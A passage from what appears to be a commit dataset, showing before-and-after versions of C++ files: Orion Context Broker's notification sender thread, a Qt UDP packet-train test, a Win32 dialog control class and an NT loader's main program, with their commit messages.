params;\n }\n\n \/* Delete the parameters vector after using it *\/\n delete paramsV;\n\n pthread_exit(NULL);\n return NULL;\n}\n<commit_msg>Update senderThread.cpp<commit_after>\/* Copyright 2013 Telefonica Investigacion y Desarrollo, S.A.U\n*\n* This file is part of Orion Context Broker.\n*\n* Orion Context Broker is free software: you can redistribute it and\/or\n* modify it under the terms of the GNU Affero General Public License as\n* published by the Free Software Foundation, either version 3 of the\n* License, or (at your option) any later version.\n*\n* Orion Context Broker is distributed in the hope that it will be useful,\n* but WITHOUT ANY WARRANTY; without even the implied warranty of\n* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero\n* General Public License for more details.\n*\n* You should have received a copy of the GNU Affero General Public License\n* along with Orion Context Broker. If not, see http:\/\/www.gnu.org\/licenses\/.\n*\n* For those usages not covered by this license please contact with\n* iot_support at tid dot es\n*\n* Author: Fermín Galán Márquez\n*\/\n#include \"logMsg\/traceLevels.h\"\n#include \"logMsg\/logMsg.h\"\n\n#include \"common\/statistics.h\"\n#include \"common\/limits.h\"\n#include \"common\/globals.h\"\n#include \"common\/logTracing.h\"\n#include \"alarmMgr\/alarmMgr.h\"\n#include \"rest\/httpRequestSend.h\"\n#include \"ngsiNotify\/senderThread.h\"\n#include \"cache\/subCache.h\"\n\n\n\/* ****************************************************************************\n*\n* startSenderThread -\n*\/\nvoid* startSenderThread(void* p)\n{\n std::vector<SenderThreadParams*>* paramsV = (std::vector<SenderThreadParams*>*) p;\n\n for (unsigned ix = 0; ix < paramsV->size(); ix++)\n {\n SenderThreadParams* params = (SenderThreadParams*) (*paramsV)[ix];\n char portV[STRING_SIZE_FOR_INT];\n std::string url;\n\n snprintf(portV, sizeof(portV), \"%d\", params->port);\n url = params->ip + \":\" + portV + params->resource;\n\n strncpy(transactionId, params->transactionId, sizeof(transactionId));\n\n LM_T(LmtNotifier, (\"sending to: host='%s', port=%d, verb=%s, tenant='%s', service-path: '%s', xauthToken: '%s', path='%s', content-type: %s\",\n params->ip.c_str(),\n params->port,\n params->verb.c_str(),\n params->tenant.c_str(),\n params->servicePath.c_str(),\n params->xauthToken.c_str(),\n params->resource.c_str(),\n params->content_type.c_str()));\n\n long long statusCode = -1;\n std::string out;\n\n if (!simulatedNotification)\n {\n int r;\n\n r = httpRequestSend(params->from,\n params->ip,\n params->port,\n params->protocol,\n params->verb,\n params->tenant,\n params->servicePath,\n params->xauthToken,\n params->resource,\n params->content_type,\n params->content,\n params->fiwareCorrelator,\n params->renderFormat,\n &out,\n &statusCode,\n params->extraHeaders);\n\n if (r == 0)\n {\n statisticsUpdate(NotifyContextSent, params->mimeType);\n alarmMgr.notificationErrorReset(url);\n alarmMgr.forwardingErrorReset(url);\n\n if (params->registration == false)\n {\n subNotificationErrorStatus(params->tenant, params->subscriptionId, 0, statusCode, \"\");\n }\n }\n else\n {\n alarmMgr.notificationError(url, \"notification failure for sender-thread: \" + out);\n alarmMgr.forwardingError(url, \"forwarding failure for sender-thread: \" + out);\n\n if (params->registration == false)\n {\n subNotificationErrorStatus(params->tenant, params->subscriptionId, -1, -1, out);\n }\n }\n }\n else\n {\n LM_T(LmtNotifier, (\"simulatedNotification is 'true', skipping outgoing request\"));\n __sync_fetch_and_add(&noOfSimulatedNotifications, 1);\n }\n\n \/\/ Add notificacion result summary in log INFO level\n if (statusCode != -1)\n {\n logInfoNotification(params->subscriptionId.c_str(), params->verb.c_str(), url.c_str(), statusCode);\n }\n else\n {\n logInfoNotification(params->subscriptionId.c_str(), params->verb.c_str(), url.c_str(), out.c_str());\n }\n\n \/\/ End transaction\n lmTransactionEnd();\n\n \/* Delete the parameters after using them *\/\n delete params;\n }\n\n \/* Delete the parameters vector after using it *\/\n delete paramsV;\n\n pthread_exit(NULL);\n return NULL;\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"packettrain.h\"\n\n#include <QDebug>\n\nPacketTrain::PacketTrain(QObject *parent)\n: isInitialized(false)\n, packetCounter(0)\n, running(false)\n{\n connect(&timer, SIGNAL(timeout()), this, SLOT(timeout()));\n connect(&timeouter, SIGNAL(timeout()), this, SLOT(stop()));\n\n timer.setInterval(10);\n\n timeouter.setInterval(2000);\n timeouter.setSingleShot(true);\n}\n\nPacketTrain::~PacketTrain()\n{\n}\n\nQString PacketTrain::name() const\n{\n return \"packettrain\";\n}\n\nbool PacketTrain::isMaster() const\n{\n return master;\n}\n\nbool PacketTrain::initialize(const PeerList &peers, bool master, QUdpSocket *socket)\n{\n if ( isInitialized )\n return false;\n\n if ( peers.isEmpty() ) {\n qDebug() << \"Peer list is empty, can't initialize packettrain test\";\n return false;\n }\n\n this->peers = peers;\n this->master = master;\n this->socket = socket;\n\n return (isInitialized=true);\n}\n\nvoid PacketTrain::uninitialize()\n{\n}\n\nbool PacketTrain::start()\n{\n qDebug() << Q_FUNC_INFO;\n\n running = true;\n\n timeouter.start();\n\n \/\/ Master waits for incoming packets\n if ( master ) {\n return true;\n }\n\n \/\/ Clients start sending data now\n timer.start();\n\n return true;\n}\n\nbool PacketTrain::stop()\n{\n qDebug() << Q_FUNC_INFO;\n\n running = false;\n\n timer.stop();\n return true;\n}\n\nbool PacketTrain::isFinished() const\n{\n return running;\n\n if ( master )\n return packetCounter >= 100;\n else\n return !timer.isActive();\n}\n\nvoid PacketTrain::processDatagram(const QByteArray &datagram, const QHostAddress &host, quint16 port)\n{\n if ( master ) {\n emit packetCountChanged(packetCounter++);\n }\n\n timeouter.start();\n\n \/\/qDebug() << Q_FUNC_INFO << host.toString() << port << packetCounter << \"asdfff\";\n}\n\nQVariant PacketTrain::data(int role) const\n{\n Q_UNUSED(role)\n return QVariant();\n}\n\nQVariant PacketTrain::result() const\n{\n QVariantMap values;\n values.insert(\"received-packets\", packetCounter);\n return values;\n}\n\nvoid PacketTrain::timeout()\n{\n emit packetCountChanged(packetCounter);\n if ( packetCounter++ >= 100 ) {\n stop();\n return;\n }\n\n QByteArray data;\n data.resize(512);\n data.fill('X');\n\n foreach(const Peer& peer, peers) {\n socket->writeDatagram(data, peer.host, peer.port);\n }\n}\n<commit_msg>PacketTrain forgot to derive from AbstractTest.<commit_after>#include \"packettrain.h\"\n\n#include <QDebug>\n\nPacketTrain::PacketTrain(QObject *parent)\n: AbstractTest(parent)\n, isInitialized(false)\n, packetCounter(0)\n, running(false)\n{\n connect(&timer, SIGNAL(timeout()), this, SLOT(timeout()));\n connect(&timeouter, SIGNAL(timeout()), this, SLOT(stop()));\n\n timer.setInterval(10);\n\n timeouter.setInterval(2000);\n timeouter.setSingleShot(true);\n}\n\nPacketTrain::~PacketTrain()\n{\n}\n\nQString PacketTrain::name() const\n{\n return \"packettrain\";\n}\n\nbool PacketTrain::isMaster() const\n{\n return master;\n}\n\nbool PacketTrain::initialize(const PeerList &peers, bool master, QUdpSocket *socket)\n{\n if ( isInitialized )\n return false;\n\n if ( peers.isEmpty() ) {\n qDebug() << \"Peer list is empty, can't initialize packettrain test\";\n return false;\n }\n\n this->peers = peers;\n this->master = master;\n this->socket = socket;\n\n return (isInitialized=true);\n}\n\nvoid PacketTrain::uninitialize()\n{\n}\n\nbool PacketTrain::start()\n{\n qDebug() << Q_FUNC_INFO;\n\n running = true;\n\n timeouter.start();\n\n \/\/ Master waits for incoming packets\n if ( master ) {\n return true;\n }\n\n \/\/ Clients start sending data now\n timer.start();\n\n return true;\n}\n\nbool PacketTrain::stop()\n{\n qDebug() << Q_FUNC_INFO;\n\n running = false;\n\n timer.stop();\n return true;\n}\n\nbool PacketTrain::isFinished() const\n{\n return running;\n\n if ( master )\n return packetCounter >= 100;\n else\n return !timer.isActive();\n}\n\nvoid PacketTrain::processDatagram(const QByteArray &datagram, const QHostAddress &host, quint16 port)\n{\n if ( master ) {\n emit packetCountChanged(packetCounter++);\n }\n\n timeouter.start();\n\n \/\/qDebug() << Q_FUNC_INFO << host.toString() << port << packetCounter << \"asdfff\";\n}\n\nQVariant PacketTrain::data(int role) const\n{\n Q_UNUSED(role)\n return QVariant();\n}\n\nQVariant PacketTrain::result() const\n{\n QVariantMap values;\n values.insert(\"received-packets\", packetCounter);\n return values;\n}\n\nvoid PacketTrain::timeout()\n{\n emit packetCountChanged(packetCounter);\n if ( packetCounter++ >= 100 ) {\n stop();\n return;\n }\n\n QByteArray data;\n data.resize(512);\n data.fill('X');\n\n foreach(const Peer& peer, peers) {\n socket->writeDatagram(data, peer.host, peer.port);\n }\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"Control.h\"\n\n#include <sstream>\n\nControl::Control() {\n\n}\n\nControl::Control(int id, HWND parent) :\n_id(id),\n_parent(parent) {\n _hWnd = GetDlgItem(parent, id);\n}\n\nControl::~Control() {\n\n}\n\nRECT Control::ScreenDimensions() {\n RECT r;\n GetWindowRect(_hWnd, &r);\n return r;\n}\n\nRECT Control::ClientDimensions() {\n RECT r;\n GetWindowRect(_hWnd, &r);\n int width = r.right - r.left;\n int height = r.bottom - r.top;\n\n POINT p = { r.left, r.top };\n int ret = ScreenToClient(_parent, &p);\n r.left = p.x;\n r.top = p.y;\n r.right = r.left + width;\n r.bottom = r.top + height;\n\n return r;\n}\n\nvoid Control::Enable() {\n EnableWindow(_hWnd, TRUE);\n}\n\nvoid Control::Disable() {\n EnableWindow(_hWnd, FALSE);\n}\n\nbool Control::Enabled() {\n return (IsWindowEnabled(_hWnd) == TRUE);\n}\n\nvoid Control::Enabled(bool enabled) {\n if (enabled == true) {\n Enable();\n } else {\n Disable();\n }\n}\n\nint Control::EmSize() {\n \/* Determine the width of the text *\/\n HDC dc = GetDC(_hWnd);\n SIZE sz = { 0 };\n GetTextExtentPoint32(dc, L\"M\", 1, &sz);\n return sz.cx;\n}\n\nvoid Control::Move(int x, int y) {\n RECT r = ClientDimensions();\n MoveWindow(_hWnd, x, y, r.right - r.left, r.bottom - r.top, TRUE);\n}\n\nvoid Control::PlaceRightOf(Control &control) {\n RECT otherRect = control.ClientDimensions();\n CLOG(L\"Other dims: %d %d %d %d\", otherRect.top, otherRect.right, otherRect.bottom, otherRect.left);\n int x = otherRect.right;\n int y = ClientDimensions().top;\n Move(x, y);\n}\n\nbool Control::Text(std::wstring text) {\n return SetDlgItemText(_parent, _id, text.c_str()) == TRUE;\n}\n\nbool Control::Text(int value) {\n return SetDlgItemInt(_parent, _id, value, TRUE) == TRUE;\n}\n\nstd::wstring Control::Text() {\n wchar_t text[MAX_EDITSTR];\n GetDlgItemText(_parent, _id, text, MAX_EDITSTR);\n return std::wstring(text);\n}\n\nint Control::TextAsInt() {\n std::wstring str = Text();\n int num;\n std::wistringstream wistr(str);\n wistr >> num;\n return num;\n}\n\nbool Control::Visible() {\n return IsWindowVisible(_hWnd) != FALSE;\n}\n\nvoid Control::Visible(bool visible) {\n ShowWindow(_hWnd, visible ? SW_SHOW : SW_HIDE);\n}\n\nvoid Control::AddWindowExStyle(long exStyle) {\n long exs = GetWindowLongPtr(_hWnd, GWL_EXSTYLE);\n exs |= exStyle;\n SetWindowLongPtr(_hWnd, GWL_EXSTYLE, exs);\n}\n\nvoid Control::RemoveWindowExStyle(long exStyle) {\n long exs = GetWindowLongPtr(_hWnd, GWL_EXSTYLE);\n exs &= ~exStyle;\n SetWindowLongPtr(_hWnd, GWL_EXSTYLE, exs);\n}\n\nDLGPROC Control::Command(unsigned short nCode) {\n \/* By default, indicate that we did not process the message: *\/\n return FALSE;\n}\n\nDLGPROC Control::Notification(NMHDR *nHdr) {\n \/* By default, indicate that we did not process the message: *\/\n return FALSE;\n}\n<commit_msg>Vertically center controls placed to the right and use a 1-em gap between the target control<commit_after>#include \"Control.h\"\n\n#include <sstream>\n\nControl::Control() {\n\n}\n\nControl::Control(int id, HWND parent) :\n_id(id),\n_parent(parent) {\n _hWnd = GetDlgItem(parent, id);\n}\n\nControl::~Control() {\n\n}\n\nRECT Control::ScreenDimensions() {\n RECT r;\n GetWindowRect(_hWnd, &r);\n return r;\n}\n\nRECT Control::ClientDimensions() {\n RECT r;\n GetWindowRect(_hWnd, &r);\n int width = r.right - r.left;\n int height = r.bottom - r.top;\n\n POINT p = { r.left, r.top };\n int ret = ScreenToClient(_parent, &p);\n r.left = p.x;\n r.top = p.y;\n r.right = r.left + width;\n r.bottom = r.top + height;\n\n return r;\n}\n\nvoid Control::Enable() {\n EnableWindow(_hWnd, TRUE);\n}\n\nvoid Control::Disable() {\n EnableWindow(_hWnd, FALSE);\n}\n\nbool Control::Enabled() {\n return (IsWindowEnabled(_hWnd) == TRUE);\n}\n\nvoid Control::Enabled(bool enabled) {\n if (enabled == true) {\n Enable();\n } else {\n Disable();\n }\n}\n\nint Control::EmSize() {\n \/* Determine the width of the text *\/\n HDC dc = GetDC(_hWnd);\n SIZE sz = { 0 };\n GetTextExtentPoint32(dc, L\"M\", 1, &sz);\n return sz.cx;\n}\n\nvoid Control::Move(int x, int y) {\n RECT r = ClientDimensions();\n MoveWindow(_hWnd, x, y, r.right - r.left, r.bottom - r.top, TRUE);\n}\n\nvoid Control::PlaceRightOf(Control &control) {\n RECT otherRect = control.ClientDimensions();\n int otherHeight = otherRect.bottom - otherRect.top;\n \/* Vertical center point of the other control: *\/\n int vCenter = otherRect.top + otherHeight \/ 2;\n \n RECT myRect = ClientDimensions();\n int myHeight = myRect.bottom - myRect.top;\n\n int x = otherRect.right + EmSize();\n int y = vCenter - myHeight \/ 2;\n Move(x, y);\n}\n\nbool Control::Text(std::wstring text) {\n return SetDlgItemText(_parent, _id, text.c_str()) == TRUE;\n}\n\nbool Control::Text(int value) {\n return SetDlgItemInt(_parent, _id, value, TRUE) == TRUE;\n}\n\nstd::wstring Control::Text() {\n wchar_t text[MAX_EDITSTR];\n GetDlgItemText(_parent, _id, text, MAX_EDITSTR);\n return std::wstring(text);\n}\n\nint Control::TextAsInt() {\n std::wstring str = Text();\n int num;\n std::wistringstream wistr(str);\n wistr >> num;\n return num;\n}\n\nbool Control::Visible() {\n return IsWindowVisible(_hWnd) != FALSE;\n}\n\nvoid Control::Visible(bool visible) {\n ShowWindow(_hWnd, visible ? SW_SHOW : SW_HIDE);\n}\n\nvoid Control::AddWindowExStyle(long exStyle) {\n long exs = GetWindowLongPtr(_hWnd, GWL_EXSTYLE);\n exs |= exStyle;\n SetWindowLongPtr(_hWnd, GWL_EXSTYLE, exs);\n}\n\nvoid Control::RemoveWindowExStyle(long exStyle) {\n long exs = GetWindowLongPtr(_hWnd, GWL_EXSTYLE);\n exs &= ~exStyle;\n SetWindowLongPtr(_hWnd, GWL_EXSTYLE, exs);\n}\n\nDLGPROC Control::Command(unsigned short nCode) {\n \/* By default, indicate that we did not process the message: *\/\n return FALSE;\n}\n\nDLGPROC Control::Notification(NMHDR *nHdr) {\n \/* By default, indicate that we did not process the message: *\/\n return FALSE;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * nt loader\n *\n * Copyright 2006-2008 Mike McCormack\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA\n *\/\n\n\n#include <stdio.h>\n#include <stdarg.h>\n#include <limits.h>\n#include <fcntl.h>\n#include <assert.h>\n#include <stdlib.h>\n#include <errno.h>\n#include <sys\/time.h>\n#include <poll.h>\n#include <signal.h>\n#include <execinfo.h>\n\n#include \"ntstatus.h\"\n#define WIN32_NO_STATUS\n#include \"windef.h\"\n#include \"winternl.h\"\n\n#include \"debug.h\"\n#include \"mem.h\"\n#include \"object.h\"\n#include \"objdir.h\"\n#include \"ntcall.h\"\n#include \"section.h\"\n#include \"timer.h\"\n#include \"unicode.h\"\n#include \"fiber.h\"\n#include \"file.h\"\n#include \"event.h\"\n#include \"symlink.h\"\n\nprocess_list_t processes;\nthread_t *current;\nobject_t *ntdll_section;\nint option_debug = 0;\nULONG KiIntSystemCall = 0;\nbool forced_quit;\n\nclass default_sleeper_t : public sleeper_t\n{\npublic:\n\tvirtual bool sleep_timeout( LARGE_INTEGER& timeout );\n\tvirtual ~default_sleeper_t() {}\n};\n\nint sleeper_t::get_int_timeout( LARGE_INTEGER& timeout )\n{\n\ttimeout.QuadPart = (timeout.QuadPart+9999)\/10000;\n\tint t = INT_MAX;\n\tif (timeout.QuadPart < t)\n\t\tt = timeout.QuadPart;\n\treturn t;\n}\n\nbool default_sleeper_t::sleep_timeout( LARGE_INTEGER& timeout )\n{\n\tint t = get_int_timeout( timeout );\n\tint r = poll( 0, 0, t );\n\tif (r >= 0)\n\t\treturn false;\n\tif (errno != EINTR)\n\t\tdie(\"poll failed %d\\n\", errno);\n\treturn false;\n}\n\ndefault_sleeper_t default_sleeper;\nsleeper_t* sleeper = &default_sleeper;\n\nint schedule(void)\n{\n\t\/* while there's still a thread running *\/\n\twhile (processes.head())\n\t{\n\t\t\/\/ check if any timers have expired\n\t\tLARGE_INTEGER timeout;\n\t\ttimeout_t::check_timers(timeout);\n\n\t\t\/\/ other fibers are active... schedule run them\n\t\tif (!fiber_t::last_fiber())\n\t\t{\n\t\t\tfiber_t::yield();\n\t\t\tcontinue;\n\t\t}\n\n\t\t\/\/ there's still processes but no active threads ... sleep\n\t\tif (timeout_t::check_timers(timeout))\n\t\t{\n\t\t\tif (sleeper->sleep_timeout(timeout))\n\t\t\t\tbreak;\n\t\t}\n\t\telse if (fiber_t::last_fiber())\n\t\t\tbreak;\n\t}\n\n\treturn 0;\n}\n\nNTSTATUS create_initial_process( thread_t **t, UNICODE_STRING& us )\n{\n\tBYTE *pstack;\n\tconst unsigned int stack_size = 0x100 * PAGE_SIZE;\n\tprocess_t *p = NULL;\n\tCONTEXT ctx;\n\tINITIAL_TEB init_teb;\n\tCLIENT_ID id;\n\tobject_t *section = NULL;\n\tfile_t *file = 0;\n\tint r;\n\n\tr = open_file( file, us );\n\tif (r < STATUS_SUCCESS)\n\t\treturn r;\n\n\t\/* load the executable and ntdll *\/\n\tr = create_section( §ion, file, 0, SEC_IMAGE, PAGE_EXECUTE_READWRITE );\n\trelease( file );\n\tif (r < STATUS_SUCCESS)\n\t\treturn r;\n\n\t\/* create the initial process *\/\n\tr = create_process( &p, section );\n\trelease( section );\n\tsection = NULL;\n\n\tif (r < STATUS_SUCCESS)\n\t\treturn r;\n\n\tPPEB ppeb = (PPEB) p->peb_section->get_kernel_address();\n\tp->create_exe_ppb( &ppeb->ProcessParameters, us );\n\n\t\/* map the stack *\/\n\tpstack = NULL;\n\tr = p->vm->allocate_virtual_memory( &pstack, 0, stack_size, MEM_COMMIT | MEM_TOP_DOWN, PAGE_READWRITE );\n\tif (r < STATUS_SUCCESS)\n\t\treturn r;\n\n\t\/* teb initialization data *\/\n\tmemset( &init_teb, 0, sizeof init_teb );\n\tinit_teb.StackReserved = pstack;\n\tinit_teb.StackCommit = (BYTE*)init_teb.StackReserved + stack_size;\n\tinit_teb.StackCommitMax = (BYTE*)init_teb.StackCommit - PAGE_SIZE;\n\n\t\/* initialize the first thread's context *\/\n\tp->vm->init_context( ctx );\n\tctx.Eip = (DWORD) get_entry_point( p );\n\tctx.Esp = (DWORD) pstack + stack_size - 8;\n\n\tdprintf(\"entry point = %08lx\\n\", ctx.Eip);\n\n\t\/* when starting nt processes, make the PEB the first arg of NtProcessStartup *\/\n\tr = p->vm->copy_to_user( (BYTE*) ctx.Esp + 4, &p->PebBaseAddress, sizeof p->PebBaseAddress );\n\n\tif (r == STATUS_SUCCESS)\n\t\tr = create_thread( t, p, &id, &ctx, &init_teb, FALSE );\n\n\trelease( p );\n\n\treturn r;\n}\n\nNTSTATUS init_ntdll( void )\n{\n\tWCHAR ntdll[] = {\n\t\t'\\\\','?','?','\\\\','c',':','\\\\','w','i','n','n','t','\\\\',\n\t\t's','y','s','t','e','m','3','2','\\\\','n','t','d','l','l','.','d','l','l',0 };\n\tunicode_string_t us;\n\tfile_t *file = 0;\n\tNTSTATUS r;\n\n\tus.set( ntdll );\n\n\tr = open_file( file, us );\n\tif (r < STATUS_SUCCESS)\n\t\tdie(\"failed to open ntdll\\n\");\n\n\tr = create_section( &ntdll_section, file, 0, SEC_IMAGE, PAGE_EXECUTE_READWRITE );\n\tif (r < STATUS_SUCCESS)\n\t\tdie(\"failed to map ntdll\\n\");\n\n\tKiIntSystemCall = get_proc_address( ntdll_section, \"KiIntSystemCall\" );\n\tdprintf(\"KiIntSystemCall = %08lx\\n\", KiIntSystemCall);\n\tinit_syscalls(KiIntSystemCall != 0);\n\n\trelease( file );\n\n\treturn r;\n}\n\nvoid free_ntdll( void )\n{\n\trelease( ntdll_section );\n\tntdll_section = NULL;\n}\n\nvoid do_cleanup( void )\n{\n\tint num_threads = 0, num_processes = 0;\n\n\tfor ( process_iter_t pi(processes); pi; pi.next() )\n\t{\n\t\tprocess_t *p = pi;\n\t\tif (p->is_signalled())\n\t\t\tcontinue;\n\t\tnum_processes++;\n\t\tfprintf(stderr, \"process %04lx\\n\", p->id);\n\t\tfor ( sibling_iter_t ti(p->threads); ti; ti.next() )\n\t\t{\n\t\t\tthread_t *t = ti;\n\t\t\tif (t->is_signalled())\n\t\t\t\tcontinue;\n\t\t\tfprintf(stderr, \"\\tthread %04lx\\n\", t->trace_id());\n\t\t\tnum_threads++;\n\t\t}\n\t}\n\tif (num_threads || num_processes)\n\t\tfprintf(stderr, \"%d threads %d processes left\\n\", num_threads, num_processes);\n}\n\nint usage( const char *prog )\n{\n\tfprintf(stderr, \"%s [-d] [-t] [-m] [-q] native.exe\\n\", prog );\n\tfprintf(stderr, \" [-d] break into debugger on exceptions\\n\");\n\tfprintf(stderr, \" [-m] memory reference counting\\n\");\n\tfprintf(stderr, \" [-t] trace syscall entry and exit\\n\");\n\tfprintf(stderr, \" [-q] quiet, suppress debug messages\\n\");\n\treturn 0;\n}\n\nstatic void segv_handler(int)\n{\n\tconst int max_frames = 20;\n\tvoid *bt[max_frames];\n\tchar **names;\n\tint n=0, size;\n\tULONG id = 0;\n\n\tif (current)\n\t\tid = current->trace_id();\n\n\tsize = backtrace(bt, max_frames);\n\tnames = backtrace_symbols(bt, size);\n\n\tfprintf(stderr, \"%04lx: caught kernel SEGV (%d frames):\\n\", id, size);\n\tfor (n=0; n<size; n++)\n\t{\n\t\tfprintf(stderr, \"%d: %s\\n\", n, names[n]);\n\t}\n\texit(1);\n}\n\nbool init_skas();\nbool init_tt();\n\nbool option_skas = 1;\n\nint main(int argc, char **argv)\n{\n\tunicode_string_t us;\n\tthread_t *initial_thread = NULL;\n\tint r, n;\n\n\t\/\/ enable backtraces\n\tsignal(SIGSEGV, segv_handler);\n\n\tfor (n=1; n<argc; n++)\n\t{\n\t\tif (argv[n][0] != '-')\n\t\t\tbreak;\n\t\tswitch (argv[n][1])\n\t\t{\n\t\tcase 'd':\n\t\t\toption_debug = 1;\n\t\t\tbreak;\n\t\tcase 't':\n\t\t\toption_trace = 1;\n\t\t\tbreak;\n\t\tcase 'q':\n\t\t\toption_quiet = 1;\n\t\t\tbreak;\n\t\tcase 's':\n\t\t\toption_skas = 0;\n\t\t\tbreak;\n\t\tdefault:\n\t\t\treturn usage( argv[0] );\n\t\t}\n\t}\n\n\tif (n == argc)\n\t\treturn usage( argv[0] );\n\n\t(option_skas && init_skas()) || init_tt();\n\tif (!pcreate_address_space)\n\t\tdie(\"no way to manage address spaces found\\n\");\n\n\t\/\/ initialize boottime\n\tSYSTEM_TIME_OF_DAY_INFORMATION dummy;\n\tget_system_time_of_day( dummy );\n\n\tinit_registry();\n\tfiber_t::fibers_init();\n\tinit_root();\n\tcreate_directory_object( (PWSTR) L\"\\\\\" );\n\tcreate_directory_object( (PWSTR) L\"\\\\??\" );\n\tunicode_string_t link_name, link_target;\n\tlink_name.set( L\"\\\\DosDevices\" );\n\tlink_target.copy( L\"\\\\??\" );\n\tcreate_symlink( link_name, link_target );\n\tcreate_directory_object( (PWSTR) L\"\\\\Device\" );\n\tcreate_directory_object( (PWSTR) L\"\\\\Device\\\\MailSlot\" );\n\tcreate_directory_object( (PWSTR) L\"\\\\Security\" );\n\t\/\/create_directory_object( (PWSTR) L\"\\\\DosDevices\" );\n\tcreate_directory_object( (PWSTR) L\"\\\\BaseNamedObjects\" );\n\tcreate_sync_event( (PWSTR) L\"\\\\Security\\\\LSA_AUTHENTICATION_INITIALIZED\" );\n\tcreate_sync_event( (PWSTR) L\"\\\\SeLsaInitEvent\" );\n\tinit_random();\n\tinit_pipe_device();\n\t\/\/ XP\n\tcreate_directory_object( (PWSTR) L\"\\\\KernelObjects\" );\n\tcreate_sync_event( (PWSTR) L\"\\\\KernelObjects\\\\CritSecOutOfMemoryEvent\" );\n\tinit_drives();\n\tinit_ntdll();\n\tcreate_kthread();\n\n\tus.copy( argv[n] );\n\n\tr = create_initial_process( &initial_thread, us );\n\tif (r < STATUS_SUCCESS)\n\t\tdie(\"create_initial_process() failed (%08x)\\n\", r);\n\n\t\/\/ run the main loop\n\tschedule();\n\n\tntgdi_fini();\n\tr = initial_thread->process->ExitStatus;\n\t\/\/fprintf(stderr, \"process exited (%08x)\\n\", r);\n\trelease( initial_thread );\n\n\tshutdown_kthread();\n\tdo_cleanup();\n\n\tfree_root();\n\tfiber_t::fibers_finish();\n\tfree_registry();\n\tfree_ntdll();\n\n\treturn r;\n}\n<commit_msg>Use getopt_long to parse options<commit_after>\/*\n * nt loader\n *\n * Copyright 2006-2008 Mike McCormack\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA\n *\/\n\n#include \"config.h\"\n\n#include <stdio.h>\n#include <stdarg.h>\n#include <limits.h>\n#include <fcntl.h>\n#include <assert.h>\n#include <stdlib.h>\n#include <errno.h>\n#include <sys\/time.h>\n#include <poll.h>\n#include <signal.h>\n#include <execinfo.h>\n#include <getopt.h>\n\n#include \"ntstatus.h\"\n#define WIN32_NO_STATUS\n#include \"windef.h\"\n#include \"winternl.h\"\n\n#include \"debug.h\"\n#include \"mem.h\"\n#include \"object.h\"\n#include \"objdir.h\"\n#include \"ntcall.h\"\n#include \"section.h\"\n#include \"timer.h\"\n#include \"unicode.h\"\n#include \"fiber.h\"\n#include \"file.h\"\n#include \"event.h\"\n#include \"symlink.h\"\n\nprocess_list_t processes;\nthread_t *current;\nobject_t *ntdll_section;\nint option_debug = 0;\nULONG KiIntSystemCall = 0;\nbool forced_quit;\n\nclass default_sleeper_t : public sleeper_t\n{\npublic:\n\tvirtual bool sleep_timeout( LARGE_INTEGER& timeout );\n\tvirtual ~default_sleeper_t() {}\n};\n\nint sleeper_t::get_int_timeout( LARGE_INTEGER& timeout )\n{\n\ttimeout.QuadPart = (timeout.QuadPart+9999)\/10000;\n\tint t = INT_MAX;\n\tif (timeout.QuadPart < t)\n\t\tt = timeout.QuadPart;\n\treturn t;\n}\n\nbool default_sleeper_t::sleep_timeout( LARGE_INTEGER& timeout )\n{\n\tint t = get_int_timeout( timeout );\n\tint r = poll( 0, 0, t );\n\tif (r >= 0)\n\t\treturn false;\n\tif (errno != EINTR)\n\t\tdie(\"poll failed %d\\n\", errno);\n\treturn false;\n}\n\ndefault_sleeper_t default_sleeper;\nsleeper_t* sleeper = &default_sleeper;\n\nint schedule(void)\n{\n\t\/* while there's still a thread running *\/\n\twhile (processes.head())\n\t{\n\t\t\/\/ check if any timers have expired\n\t\tLARGE_INTEGER timeout;\n\t\ttimeout_t::check_timers(timeout);\n\n\t\t\/\/ other fibers are active... schedule run them\n\t\tif (!fiber_t::last_fiber())\n\t\t{\n\t\t\tfiber_t::yield();\n\t\t\tcontinue;\n\t\t}\n\n\t\t\/\/ there's still processes but no active threads ... sleep\n\t\tif (timeout_t::check_timers(timeout))\n\t\t{\n\t\t\tif (sleeper->sleep_timeout(timeout))\n\t\t\t\tbreak;\n\t\t}\n\t\telse if (fiber_t::last_fiber())\n\t\t\tbreak;\n\t}\n\n\treturn 0;\n}\n\nNTSTATUS create_initial_process( thread_t **t, UNICODE_STRING& us )\n{\n\tBYTE *pstack;\n\tconst unsigned int stack_size = 0x100 * PAGE_SIZE;\n\tprocess_t *p = NULL;\n\tCONTEXT ctx;\n\tINITIAL_TEB init_teb;\n\tCLIENT_ID id;\n\tobject_t *section = NULL;\n\tfile_t *file = 0;\n\tint r;\n\n\tr = open_file( file, us );\n\tif (r < STATUS_SUCCESS)\n\t\treturn r;\n\n\t\/* load the executable and ntdll *\/\n\tr = create_section( §ion, file, 0, SEC_IMAGE, PAGE_EXECUTE_READWRITE );\n\trelease( file );\n\tif (r < STATUS_SUCCESS)\n\t\treturn r;\n\n\t\/* create the initial process *\/\n\tr = create_process( &p, section );\n\trelease( section );\n\tsection = NULL;\n\n\tif (r < STATUS_SUCCESS)\n\t\treturn r;\n\n\tPPEB ppeb = (PPEB) p->peb_section->get_kernel_address();\n\tp->create_exe_ppb( &ppeb->ProcessParameters, us );\n\n\t\/* map the stack *\/\n\tpstack = 